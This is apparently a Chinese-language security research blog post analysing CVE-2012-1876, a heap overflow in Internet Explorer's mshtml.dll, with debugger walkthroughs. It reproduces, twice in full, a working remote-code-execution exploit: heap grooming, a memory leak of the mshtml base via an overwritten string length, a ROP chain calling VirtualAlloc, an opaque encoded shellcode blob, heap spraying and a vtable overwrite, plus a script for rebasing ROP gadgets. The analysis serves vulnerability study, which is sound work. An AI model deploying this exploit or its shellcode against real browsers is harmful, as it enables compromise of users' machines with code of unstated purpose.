Internet Explorer漏洞分析系列(一)——CVE-2012-1876
Internet Explorer漏洞分析系列(一)——CVE-2012-1876
1.本文一共3960個字 30張圖 預計閱讀時間12分鐘
2.本文作者erfze 屬於Gcow安全團隊複眼小組 未經過許可禁止轉載
3.本篇文章從CVE-2012-1876漏洞的分析入手 詳細的闡述漏洞的成因以及如何去利用該漏洞
4.本篇文章十分適合漏洞安全研究人員進行交流學習
5.若文章中存在說得不清楚或者錯誤的地方 歡迎師傅到公眾號後臺留言中指出 感激不盡
0x01 漏洞資訊
0x01.1 漏洞簡述
編號:CVE-2012-1876
型別:堆溢位(Heap Overflow)
漏洞影響:遠端程式碼執行(RCE)
CVSS 2.0:9.3
mshtml.dll中CTableLayout::CalculateMinMax
函式在迴圈向緩衝區(堆分配記憶體)寫入資料時,未校驗控制迴圈次數的<col>
標籤span
屬性值,故可透過精心構造span
屬性值造成堆溢位,進而實現RCE。
0x01.2 漏洞影響
Microsoft Internet Explorer 6—9,10 Consumer Preview
0x01.3 修復方案
0x02 漏洞分析
0x02.1 分析環境
OS版本:Windows XP Service Pack 3
Internet Explorer版本:8.0.6001.18702
mshtml.dll版本:8.0.6001.18702
0x02.2 詳細分析
使用gflags.exe
為iexplore.exe
開啟頁堆:
WinDbg開啟iexplore.exe
後,透過.childdbg 1
命令啟用子程式除錯。執行並開啟poc.html
:
<html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="1" >  </col>
<!-- The <col> tag specifies column properties for each column within a <colgroup> element-->
<!-- width:Specifies the width of a <col> element -->
<!-- span:Specifies the number of columns a <col> element should span -->
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}
setTimeout("over_trigger();",1); //The setTimeout() method calls a function or evaluates an expression after a specified number of milliseconds
</script>
</body>
</html>
允許活動內容執行:
崩潰點如下:
WinDbg重新開啟iexplore.exe
,執行。當子程式建立完成時,sxe ld mshtml.dll
設定mshtml.dll
模組載入異常:
模組已載入,可拍攝快照,方便後續分析:
IDA定位到函式CTableColCalc::AdjustForCol
引發crash處:
向上回溯檢視esi
於何處賦值(呼叫該函式僅CTableLayout::CalculateMinMax+F55F
一處,故可直接在IDA中定位):
由上圖可以看出其值為[ebx+9Ch]
,該地址處值由何而來需結合WinDbg動態除錯以確定。恢復快照至已載入mshtml.dll,bp 6368CD39
設斷於call CTableColCalc::AdjustForCol
處,成功斷下後,檢視堆塊資訊:
再次恢復快照,bp 6367d7da
於CTableLayout::CalculateMinMax
起始位置設斷,斷下後bp 635D28F6
於call CImplAry::EnsureSizeWorker
處設斷,跟進分析:
可以看出其分配大小確為0x70,之後跟進mshtml!_HeapRealloc
檢視其分配地址:
向上回溯,edi
指向ebx+90h
:
如此一來,HeapAlloc
函式返回值——即分配堆塊地址寫入[ebx+9Ch]
。至此,crash處edi
由何而來已分析完成。而寫入資料為width*100
(具體計算過程見CWidthUnitValue::GetPixelWidth
函式):
crash處ecx
值為(width*100)<<4+9
,最終內容要減1:
上述內容僅是追溯寫入位置與寫入值如何計算及傳遞,下面將分析其執行流。
CTableLayout::CalculateMinMax
第一個引數是用於儲存<table>
標籤的CTableLayout
物件:
而[ebx+54h]
儲存所有<col>
標籤的<span>
屬性值之和(可記為span_sum
):
執行到0x6367D8EF
處,從ebx+94h
位置取出值,右移2位,與span_sum
進行比較:
如上圖所示,再經過兩次比較,都滿足條件才會call CImplAry::EnsureSizeWorker
。若span_sum
小於4,則直接分配0x70
大小堆塊;不小於4,則分配0x1C*span_sum
大小堆塊:
分配結束後,會向ebx+98h
位置寫入span_sum
:
向ebx+94h
位置寫入span_sum<<2
:
如此一來,第二次執行CTableLayout::CalculateMinMax
便不會呼叫CImplAry::EnsureSizeWorker
重新分配記憶體,而是直接使用上次分配堆塊進行寫入——修改後的span
屬性值大於修改前span
屬性值,以此span
值作為迴圈計數,之前分配堆塊大小明顯無法容納,此時便會造成堆溢位。
下面是開啟POC並允許活動內容執行後由0x6367D7DA
至0x6368CD39
兩次執行流(可使用wt -l 1 -ns -oR -m mshtml =6367d7da 6368CD39
命令)對比:
第二次執行不會呼叫CImplAry::EnsureSizeWorker
:
span
屬性值最大為0x3E8(即1000):
0x02.3 漏洞利用
分析所用exp如下:
<html>
<body>
<div id="test"></div>
<script language='javascript'>
var leak_index = -1;
var dap = "EEEE";
while ( dap.length < 480 ) dap += dap;
var padding = "AAAA";
while ( padding.length < 480 ) padding += padding;
var filler = "BBBB";
while ( filler.length < 480 ) filler += filler;
//spray
var arr = new Array();
var rra = new Array();
var div_container = document.getElementById("test");
div_container.style.cssText = "display:none";
for (var i=0; i < 500; i+=2) {
// E
rra[i] = dap.substring(0, (0x100-6)/2);
// S, bstr = A
arr[i] = padding.substring(0, (0x100-6)/2);
// A, bstr = B
arr[i+1] = filler.substring(0, (0x100-6)/2);
// B
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i=200; i<500; i+=2 ) {
rra[i] = null;
CollectGarbage();
}
</script>
<table style="table-layout:fixed" ><col id="0" width="41" span="9" >  </col></table>
<table style="table-layout:fixed" ><col id="1" width="41" span="9" >  </col></table>
...
<table style="table-layout:fixed" ><col id="132" width="41" span="9" >  </col></table>
<script language='javascript'>
var obj_col = document.getElementById("132");
obj_col.span = 19;
function over_trigger()
{
var leak_addr = -1;
for ( var i = 0; i < 500; i++ )
{
if ( arr[i].length > (0x100-6)/2 )
{ // overflowed
leak_index = i;
var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);
leak_addr = parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 );
mshtmlbase = leak_addr - Number(0x001582b8);
alert(mshtmlbase);
break;
}
}
if ( leak_addr == -1 || leak_index == -1 )
{
alert("memory leak failed....");
}
//return mshtmlbase;
}
// A very special heap spray
function heap_spray()
{
CollectGarbage();
var heapobj = new Object();
// generated with mona.py (mshtml.dll v)
function rop_chain(mshtmlbase)
{
var arr = [
mshtmlbase + Number(0x00001031),
mshtmlbase + Number(0x00002c78), // pop ebp; retn
mshtmlbase + Number(0x0001b4e3), // xchg eax,esp; retn (pivot)
mshtmlbase + Number(0x00352c8b), // pop eax; retn
mshtmlbase + Number(0x00001340), // ptr to &VirtualAlloc() [IAT]
mshtmlbase + Number(0x00124ade), // mov eax,[eax]; retn
mshtmlbase + Number(0x000af93e), // xchg eax,esi; and al,0; xor eax,eax; retn
mshtmlbase + Number(0x00455a9c), // pop ebp; retn
mshtmlbase + Number(0x00128b8d), // & jmp esp
mshtmlbase + Number(0x00061436), // pop ebx; retn
0x00000001, // 0x00000001-> ebx
mshtmlbase + Number(0x0052d8a3), // pop edx; retn
0x00001000, // 0x00001000-> edx
mshtmlbase + Number(0x00003670), // pop ecx; retn
0x00000040, // 0x00000040-> ecx
mshtmlbase + Number(0x001d263d), // pop edi; retn
mshtmlbase + Number(0x000032ac), // retn
mshtmlbase + Number(0x00352c9f), // pop eax; retn
0x90909090, // nop
mshtmlbase + Number(0x0052e805), // pushad; retn
0x90909090,
0x90909090,
0x90909090,
0x90909090,
0x90909090,
];
return arr;
}
function d2u(dword)
{
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}
function tab2uni(heapobj, tab)
{
var uni = ""
for(var i=0;i<tab.length;i++){
uni += heapobj.d2u(tab[i]);
}
return uni;
}
heapobj.tab2uni = tab2uni;
heapobj.d2u = d2u;
heapobj.rop_chain = rop_chain;
var code = unescape("%u40b0%u414b%u1d24%ub4a8%u7799%ube37%ua947%ud41a%u353f%ueb30%ud133%u2ae1%u31e0%ue2d3%u1514%ufd13%u3497%u7a7b%ufc39%u92ba%u9390%u0a4e%ubbf5%u8db2%ue385%uf823%ud53a%u0448%u750d%ud632%u707c%u4642%u7e78%ub12c%u2f98%u1c3c%u727e%u3b7b%u4fe0%ue38c%u4f76%u81b0%u2de2%u35ba%u86bb%u67f8%u8d0c%u9190%u7574%u7f71%u7d3c%u9f15%ub347%ud50b%u784e%u4970%u1b37%uc1ff%uc6fe%uc0c7%ub6d4%u9246%ub4b1%uf588%ua91d%u7c4b%u2548%u7a99%u9b3d%u01b7%u34eb%u1cb5%u38a8%ub8fc%ud609%ube4a%u9714%ue121%ub904%u42b2%u7796%u6924%u80f9%u0dfd%u412c%u2f05%u273f%ubf40%u9893%u7343%u6679%u77a8%ub63f%u7472%u707b%u843d%uebd2%uf630%ubfd5%u71b2%u757a%u1848%u0cf5%u96b7%uf889%u764a%u9b2d%u92b0%u66be%u7d97%ub425%u9114%u4904%uba34%u421c%ue308%uf902%u4140%u4773%u0d27%u93b5%u2299%u1dd4%u7c4f%u2867%u98fc%u2c24%ue212%ufd03%u78a9%u3505%u8390%u2fe0%u4337%u154b%u468d%u79b9%u297f%ubbd6%u197e%u4ee1%u9fb8%ub1b3%u4a3c%u7a7d%u7679%u4670%u2091%u74e1%ub043%u4e71%ub590%u75b7%u983c%u4bb3%ud687%uf86b%u9b40%u117f%ud1f7%u7bf9%u152f%u3427%u1d92%u3d97%u2d49%u720d%u014f%u7ce0%u3105%u10eb%u35f5%ub4b6%u1c2c%u93b2%u4704%ud52b%ubbb1%ue389%u4137%u7e78%u733f%u7742%u2925%ufcd0%u6624%u8dba%u67b9%u1a96%ua8fd%ua9be%ud40b%u4899%u9f14%u87bf%ue2f7%ub80c%u903d%u14b0%u25bb%u7d96%u1a7f%u79f5%uf809%u347c%u7b91%u4e47%ueb81%ue122%ud41b%u7074%ub21d%u2d72%u928d%ub3b1%ua905%u71b4%u4b0c%u9343%u0d76%u989f%u84b5%ub7d5%u4666%ube40%ub8bf%u201c%u48e2%u4a73%u6b2c%u2afc%u04e0%u4941%u3777%u10ba%u7ed6%u332f%ub9fd%u7a9b%u7875%u2415%u1299%uf9d2%u3f97%ub63c%u3567%u27a8%ue386%u7742%u4f73%ue380%ua93c%u757c%uf62b%ud0c0%u27e0%u214b%ue1d3%ub93f%u157d%u8c14%ue2c1%u9904%u7498%u7071%u6637%ueb28%u4e1c%u7fb6%u357b%u3297%u25d4%uf569%u9105%u4047%u0224%u78d6%u7941%uba3d%u49b1%u7276%u1d2f%u85bf%u67fc%u7e92%u4a2c%u7ab4%u1348%u93d5%u8d9b%u03bb%u74fd%u0879%u43e1%ue083%u1873%u46e3%u2372%ub2f8%u88b0%ub8f9%u969f%u75b5%u770c%u7b42%ub72d%u7aa8%ue219%ueb38%ub334%u90be%u4f7e%u0d7f%ub3b6%u3076%ubff5%u479f%u7167%ud40a%u3b7c%u66fc%u41b7%u9615%u3dfd%u3505%ub825%u1c7d%ub54a%u3940%u37d6%u3f92%u971d%u1478%u8d49%ua8b2%u3493%u2c3c%u902f%ud54f%u04a9%u1198%u91f8%ub99b%u9943%ubbb1%u0d70%u4824%u4b0c%ube4e%ub02d%uf93a%u27ba%ub446%udb42%ud9d1%u2474%u5af4%uc929%u49b1%u8cbe%uc04a%u31a0%u1972%uc283%u0304%u1572%ubf6e%u483c%u40e7%u89bd%uc997%ub858%uae85%ue929%ua419%u027c%ue8d2%u9194%u2496%u129a%u131c%ua395%u9b91%u6779%u67b0%ub480%u5912%uc94b%u9e53%u22b6%u7701%u91bc%ufcb5%u2980%ud2b4%u128e%u57ce%ue650%u5964%u5781%u11f3%ud339%u825b%u3038%ufeb8%u3d73%u740a%u9782%u7543%ud7b4%u480f%uda78%u8c4e%u05bf%ue625%ub8c3%u3d3d%u66b9%ua0c8%uec19%u016a%u219b%uc2ec%u8e97%u8c7b%u11bb%ua6a8%u9ac0%u694f%ud841%uad6b%uba09%uf412%u6df7%ue62b%ud150%u6c89%u0672%u2eab%ueb1b%ud081%u63db%ua392%u2ce9%u2c08%ua442%uab96%u9fa5%u236e%u2058%u6d8e%u749f%u05de%uf536%ud5b5%u20b7%u8619%u9b17%u76d9%u4bd8%u9cb1%ub4d7%u9ea1%udd3d%u644b%u22d6%u6723%ucb43%u6831%u579a%u8ebc%u77f6%u19e8%ue16f%ud2b1%uee0e%u9f6c%u6411%u5f82%u8ddf%u73ef%u7d88%u2eba%u811f%u4411%u17a0%ucf9d%u8ff7%u369f%u103f%u1d60%u994b%udef4%ue624%udf18%ub0b4%udf72%u64dc%u8c26%u6af9%ua0f3%uff51%u90fb%ua806%u1e93%u9e70%ue03c%u1e57%u3701%ua49e%u3d73%u64f2");
var rop_chain = heapobj.tab2uni(heapobj, heapobj.rop_chain(mshtmlbase)) ;
var shellcode = rop_chain + code
while (shellcode.length < 100000)
shellcode = shellcode + shellcode;
var onemeg = shellcode.substr(0, 64*1024/2);
for (i=0; i<14; i++)
{
onemeg += shellcode.substr(0, 64*1024/2);
}
onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
var spray = new Array();
for (i=0; i<400; i++)
{
spray[i] = onemeg.substr(0, onemeg.length);
}
}
function smash_vtable()
{
var obj_col_0 = document.getElementById("132");
obj_col_0.width = "1178993"; // smash the vftable 0x07070024
obj_col_0.span = "44"; // the amount to overwrite
}
var mshtmlbase = "";
setTimeout("over_trigger();",1);
setTimeout("heap_spray();",400);
setTimeout("smash_vtable();",700);
</script>
</body>
</html>
第一部分用以申請大量記憶體並填充字元內容進行堆佈局:
<script language='javascript'>
var leak_index = -1;
var dap = "EEEE";
while ( dap.length < 480 ) dap += dap;
var padding = "AAAA";
while ( padding.length < 480 ) padding += padding;
var filler = "BBBB";
while ( filler.length < 480 ) filler += filler;
//spray
var arr = new Array();
var rra = new Array();
var div_container = document.getElementById("test");
div_container.style.cssText = "display:none";
for (var i=0; i < 500; i+=2) {
// E
rra[i] = dap.substring(0, (0x100-6)/2);
// S, bstr = A
arr[i] = padding.substring(0, (0x100-6)/2);
// A, bstr = B
arr[i+1] = filler.substring(0, (0x100-6)/2);
// B
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i=200; i<500; i+=2 ) {
rra[i] = null;
CollectGarbage();
}
</script>
其於記憶體中分佈情況(BSTR 'E'
& BSTR 'A'
& BSTR 'B'
& CButtonLayout
):
呼叫CollectGarbage()
回收完成後,其Len
部分變為0x0000ffff
:
第二部分建立大量col
標籤,以佔位之前釋放堆塊:
<table style="table-layout:fixed" ><col id="0" width="41" span="9" >  </col></table>
<table style="table-layout:fixed" ><col id="1" width="41" span="9" >  </col></table>
...
<table style="table-layout:fixed" ><col id="132" width="41" span="9" >  </col></table>
之後透過
var obj_col = document.getElementById("132");
obj_col.span = 19;
完成第一次溢位(可透過條件斷點bp 638209A2 ".if(eax==0x13){};.else{gc;}"
斷下後再進一步分析):
而寫入位置在每次寫入過後會加0x1C
:
0x1C
*0x12
=0x1F8
(0x6368CD4B
處是jl
命令),[EBX+9Ch]+0x1F8+0x18
位置恰為BSTR 'B'
長度:
之後遍歷arr
陣列,長度大於(0x100-6)/2
元素即為發生溢位位置:
for ( var i = 0; i < 500; i++ )
{
if ( arr[i].length > (0x100-6)/2 )
{ // overflowed
leak_index = i;
由於該元素長度已被更改為0x10048
,那麼可以越界讀取其後CButtonLayout
中內容:
var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2); //0xAE086377——금捷(Unicode)
轉換成十六進位制數,減去CButtonLayout::vftable
相較於基址偏移便得到基址:
leak_addr = parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ); mshtmlbase = leak_addr - Number(0x001582b8);
Exp中偏移與筆者環境中所計算偏移不符:
構造ROP+Shellcode及進行Heap Spray:
function heap_spray() { CollectGarbage(); var heapobj = new Object(); // generated with mona.py (mshtml.dll v) function rop_chain(mshtmlbase) { var arr = [ mshtmlbase + Number(0x00001031), mshtmlbase + Number(0x00002c78), // pop ebp; retn mshtmlbase + Number(0x0001b4e3), // xchg eax,esp; retn (pivot) mshtmlbase + Number(0x00352c8b), // pop eax; retn mshtmlbase + Number(0x00001340), // ptr to &VirtualAlloc() [IAT] mshtmlbase + Number(0x00124ade), // mov eax,[eax]; retn mshtmlbase + Number(0x000af93e), // xchg eax,esi; and al,0; xor eax,eax; retn mshtmlbase + Number(0x00455a9c), // pop ebp; retn mshtmlbase + Number(0x00128b8d), // & jmp esp mshtmlbase + Number(0x00061436), // pop ebx; retn 0x00000001, // 0x00000001-> ebx mshtmlbase + Number(0x0052d8a3), // pop edx; retn 0x00001000, // 0x00001000-> edx mshtmlbase + Number(0x00003670), // pop ecx; retn 0x00000040, // 0x00000040-> ecx mshtmlbase + Number(0x001d263d), // pop edi; retn mshtmlbase + Number(0x000032ac), // retn mshtmlbase + Number(0x00352c9f), // pop eax; retn 0x90909090, // nop mshtmlbase + Number(0x0052e805), // pushad; retn 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, ]; return arr; } function d2u(dword) { var uni = String.fromCharCode(dword & 0xFFFF); uni += String.fromCharCode(dword>>16); return uni; } function tab2uni(heapobj, tab) { var uni = "" for(var i=0;i<tab.length;i++){ uni += heapobj.d2u(tab[i]); } return uni; } heapobj.tab2uni = tab2uni; heapobj.d2u = d2u; heapobj.rop_chain = rop_chain; var code = unescape("%u40b0%u414b%u1d24%ub4a8%u7799%ube37%ua947%ud41a%u353f%ueb30%ud133%u2ae1%u31e0%ue2d3%u1514%ufd13%u3497%u7a7b%ufc39%u92ba%u9390%u0a4e%ubbf5%u8db2%ue385%uf823%ud53a%u0448%u750d%ud632%u707c%u4642%u7e78%ub12c%u2f98%u1c3c%u727e%u3b7b%u4fe0%ue38c%u4f76%u81b0%u2de2%u35ba%u86bb%u67f8%u8d0c%u9190%u7574%u7f71%u7d3c%u9f15%ub347%ud50b%u784e%u4970%u1b37%uc1ff%uc6fe%uc0c7%ub6d4%u9246%ub4b1%uf588%ua91d%u7c4b%u2548%u7a99%u9b3d%u01b7%u34eb%u1cb5%u38a8%ub8fc%ud609%ube4a%u9714%ue121%ub904%u42b2%u7796%u6924%u80f9%u0dfd%u412c%u2f05%u273f%ubf40%u9893%u7343%u6679%u77a8%ub63f%u7472%u707b%u843d%uebd2%uf630%ubfd5%u71b2%u757a%u1848%u0cf5%u96b7%uf889%u764a%u9b2d%u92b0%u66be%u7d97%ub425%u9114%u4904%uba34%u421c%ue308%uf902%u4140%u4773%u0d27%u93b5%u2299%u1dd4%u7c4f%u2867%u98fc%u2c24%ue212%ufd03%u78a9%u3505%u8390%u2fe0%u4337%u154b%u468d%u79b9%u297f%ubbd6%u197e%u4ee1%u9fb8%ub1b3%u4a3c%u7a7d%u7679%u4670%u2091%u74e1%ub043%u4e71%ub590%u75b7%u983c%u4bb3%ud687%uf86b%u9b40%u117f%ud1f7%u7bf9%u152f%u3427%u1d92%u3d97%u2d49%u720d%u014f%u7ce0%u3105%u10eb%u35f5%ub4b6%u1c2c%u93b2%u4704%ud52b%ubbb1%ue389%u4137%u7e78%u733f%u7742%u2925%ufcd0%u6624%u8dba%u67b9%u1a96%ua8fd%ua9be%ud40b%u4899%u9f14%u87bf%ue2f7%ub80c%u903d%u14b0%u25bb%u7d96%u1a7f%u79f5%uf809%u347c%u7b91%u4e47%ueb81%ue122%ud41b%u7074%ub21d%u2d72%u928d%ub3b1%ua905%u71b4%u4b0c%u9343%u0d76%u989f%u84b5%ub7d5%u4666%ube40%ub8bf%u201c%u48e2%u4a73%u6b2c%u2afc%u04e0%u4941%u3777%u10ba%u7ed6%u332f%ub9fd%u7a9b%u7875%u2415%u1299%uf9d2%u3f97%ub63c%u3567%u27a8%ue386%u7742%u4f73%ue380%ua93c%u757c%uf62b%ud0c0%u27e0%u214b%ue1d3%ub93f%u157d%u8c14%ue2c1%u9904%u7498%u7071%u6637%ueb28%u4e1c%u7fb6%u357b%u3297%u25d4%uf569%u9105%u4047%u0224%u78d6%u7941%uba3d%u49b1%u7276%u1d2f%u85bf%u67fc%u7e92%u4a2c%u7ab4%u1348%u93d5%u8d9b%u03bb%u74fd%u0879%u43e1%ue083%u1873%u46e3%u2372%ub2f8%u88b0%ub8f9%u969f%u75b5%u770c%u7b42%ub72d%u7aa8%ue219%ueb38%ub334%u90be%u4f7e%u0d7f%ub3b6%u3076%ubff5%u479f%u7167%ud40a%u3b7c%u66fc%u41b7%u9615%u3dfd%u3505%ub825%u1c7d%ub54a%u3940%u37d6%u3f92%u971d%u1478%u8d49%ua8b2%u3493%u2c3c%u902f%ud54f%u04a9%u1198%u91f8%ub99b%u9943%ubbb1%u0d70%u4824%u4b0c%ube4e%ub02d%uf93a%u27ba%ub446%udb42%ud9d1%u2474%u5af4%uc929%u49b1%u8cbe%uc04a%u31a0%u1972%uc283%u0304%u1572%ubf6e%u483c%u40e7%u89bd%uc997%ub858%uae85%ue929%ua419%u027c%ue8d2%u9194%u2496%u129a%u131c%ua395%u9b91%u6779%u67b0%ub480%u5912%uc94b%u9e53%u22b6%u7701%u91bc%ufcb5%u2980%ud2b4%u128e%u57ce%ue650%u5964%u5781%u11f3%ud339%u825b%u3038%ufeb8%u3d73%u740a%u9782%u7543%ud7b4%u480f%uda78%u8c4e%u05bf%ue625%ub8c3%u3d3d%u66b9%ua0c8%uec19%u016a%u219b%uc2ec%u8e97%u8c7b%u11bb%ua6a8%u9ac0%u694f%ud841%uad6b%uba09%uf412%u6df7%ue62b%ud150%u6c89%u0672%u2eab%ueb1b%ud081%u63db%ua392%u2ce9%u2c08%ua442%uab96%u9fa5%u236e%u2058%u6d8e%u749f%u05de%uf536%ud5b5%u20b7%u8619%u9b17%u76d9%u4bd8%u9cb1%ub4d7%u9ea1%udd3d%u644b%u22d6%u6723%ucb43%u6831%u579a%u8ebc%u77f6%u19e8%ue16f%ud2b1%uee0e%u9f6c%u6411%u5f82%u8ddf%u73ef%u7d88%u2eba%u811f%u4411%u17a0%ucf9d%u8ff7%u369f%u103f%u1d60%u994b%udef4%ue624%udf18%ub0b4%udf72%u64dc%u8c26%u6af9%ua0f3%uff51%u90fb%ua806%u1e93%u9e70%ue03c%u1e57%u3701%ua49e%u3d73%u64f2"); var rop_chain = heapobj.tab2uni(heapobj, heapobj.rop_chain(mshtmlbase)) ; var shellcode = rop_chain + code while (shellcode.length < 100000) shellcode = shellcode + shellcode; var onemeg = shellcode.substr(0, 64*1024/2); for (i=0; i<14; i++) { onemeg += shellcode.substr(0, 64*1024/2); } onemeg += shellcode.substr(0, (64*1024/2)-(38/2)); var spray = new Array(); for (i=0; i<400; i++) { spray[i] = onemeg.substr(0, onemeg.length); } }
其ROP鏈於筆者環境中並不適用,可用mona.py
重新生成。轉換為相對地址可使用如下指令碼:
import argparse def GenRelAddr(Src,Des,ModuleBaseAddr): SrcFile=open(Src,"r") DestFile=open(Des,"w") DestFile.write("Relative Address:\n") for i in SrcFile.readlines(): if i.strip().find("0x")==-1: pass else: num_hex=int(i[i.find("0x"):i.find("0x")+10],16) rva=num_hex-ModuleBaseAddr if rva>0 and num_hex!=2425393296: #0x90909090 DestFile.write(' '+hex(rva)+'\n') else: DestFile.write(' '+hex(num_hex)+'\n') SrcFile.close() DestFile.close() if __name__ == '__main__': parser=argparse.ArgumentParser() parser.add_argument('-s',help='SrcFile') parser.add_argument('-d',help='DestFile') parser.add_argument('-b',type=int,help='ModuleBaseAddr') args=parser.parse_args() if args.s and args.d and args.b: GenRelAddr(args.s,args.d,args.b) else: print("Please enter the correct parameters.")
方法為-s 1.txt -d 2.txt -b 1666711552
,其中1.txt
內容如下:
rop_gadgets = [ #[---INFO:gadgets_to_set_esi:---] 0x6371b8f5, # POP ECX # RETN [mshtml.dll] 0x63581314, # ptr to &VirtualAlloc() [IAT mshtml.dll] 0x6392bf47, # MOV EAX,DWORD PTR DS:[ECX] # RETN [mshtml.dll] 0x63aa9a60, # XCHG EAX,ESI # RETN [mshtml.dll] #[---INFO:gadgets_to_set_ebp:---] 0x635ac41c, # POP EBP # RETN [mshtml.dll] 0x635ead14, # & jmp esp [mshtml.dll] #[---INFO:gadgets_to_set_ebx:---] 0x636895b1, # POP EBX # RETN [mshtml.dll] 0x00000001, # 0x00000001-> ebx #[---INFO:gadgets_to_set_edx:---] 0x637ccce4, # POP EDX # RETN [mshtml.dll] 0x00001000, # 0x00001000-> edx #[---INFO:gadgets_to_set_ecx:---] 0x6358e41f, # POP ECX # RETN [mshtml.dll] 0x00000040, # 0x00000040-> ecx #[---INFO:gadgets_to_set_edi:---] 0x6366cccd, # POP EDI # RETN [mshtml.dll] 0x63900c06, # RETN (ROP NOP) [mshtml.dll] #[---INFO:gadgets_to_set_eax:---] 0x637f3ee3, # POP EAX # RETN [mshtml.dll] 0x90909090, # nop #[---INFO:pushad:---] 0x636bfa7c, # PUSHAD # RETN [mshtml.dll] ]
1666711552
是筆者環境中mshtml.dll
基址十進位制值。
第二次溢位:
function smash_vtable() { var obj_col_0 = document.getElementById("132"); obj_col_0.width = "1178993"; // smash the vftable 0x07070024 obj_col_0.span = "44"; // the amount to overwrite }
寫入發生於第28次迴圈,對應指令為0x6368CD98
處mov [esi+8], ebx
,寫入前:
寫入完成後呼叫該虛表指標時即可控制執行流。
最後,總結下利用思路:Heap Spray—>釋放記憶體—><col>
佔位—>堆溢位(更改BSTR長度位)—>"越界讀"虛表指標,計算mshtml.dll
基址—>Heap Spray(佈局ROP+Shellcode)—>堆溢位(更改虛表指標到ROP+Shellcode地址)
0x03 參閱連結
[HTMLElement.style]https://developer.mozilla.org/zh-CN/docs/Web/API/HTMLElement/style
[display]https://developer.mozilla.org/zh-CN/docs/Web/CSS/display
[Python實現生成相對地址的ROP]https://blog.csdn.net/qq_35519254/article/details/53234599
相關文章
- Internet Explorer漏洞分析(一)——CVE-2012-18762021-02-17
- Internet Explorer漏洞分析(二)——CVE-2013-25512021-02-25
- Internet Explorer漏洞分析(三)——CVE-2014-63322021-03-11
- Internet Explorer漏洞分析(四)——CVE-2012-47922021-04-19
- Internet Explorer漏洞分析(五)——CVE-2016-01992021-04-22
- Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探2021-03-07
- Internet Explorer漏洞分析(三)[下]——CVE-2014-63322021-03-08
- Internet Explorer EPM沙盒跳出漏洞的分析(CVE-2014-6350)2020-08-19
- win10 internet explorer怎麼解除安裝_win10 internet explorer如何解除安裝2020-03-25Win10
- win10 internet explorer如何解除安裝_win10解除安裝internet explorer11的方法2020-06-16Win10
- z-index does not work in Internet Explorer with pdf in iframe2019-02-16Index
- 下載 Internet Explorer 11(離線安裝程式)2018-05-25
- 關於libStagefright系列漏洞分析2020-08-19
- 安全漏洞整改系列(一)2021-11-01
- Discuz! X系列遠端程式碼執行漏洞分析2020-08-19
- DelayQueue系列(一):原始碼分析2018-12-23原始碼
- 【漏洞分析】KaoyaSwap 安全事件分析2022-08-28事件
- Tomcat系列漏洞復現2024-07-22Tomcat
- Networking && Internet 計網學習筆記一2023-02-18筆記
- BlueKeep 漏洞利用分析2019-09-20
- JSON劫持漏洞分析2018-05-17JSON
- Windows explorer 使用2024-11-17Windows
- 漏洞分析 | Dubbo2.7.7反序列化漏洞繞過分析2020-07-02
- Netty 原始碼分析系列(一)Netty 概述2021-08-05Netty原始碼
- Vue 原始碼分析系列一:new Vue()2019-02-21Vue原始碼
- 安全漏洞整改系列(二)2021-12-21
- tp5漏洞分析2024-06-30
- PfSense命令注入漏洞分析2020-08-19
- SSRF漏洞簡單分析2020-07-16
- D. Explorer Space2024-07-14
- Internet傳輸層2020-10-20
- China Internet Conference(2018.07.12)2018-08-06
- win10提示internet explorer已經為了幫助保護你的計算機而關閉此網頁怎麼辦2020-03-25Win10計算機網頁
- 一些常見的重置密碼漏洞分析整理2020-08-19密碼
- [原創] Linux ptrace詳細分析系列(一)2021-02-02Linux
- 漏洞分析——變數缺陷漏洞及通用異常捕獲宣告缺陷漏洞2021-09-01變數
- thinkphp3.2.x漏洞分析2024-06-30PHP
- CVE-2020-1247漏洞分析2023-02-27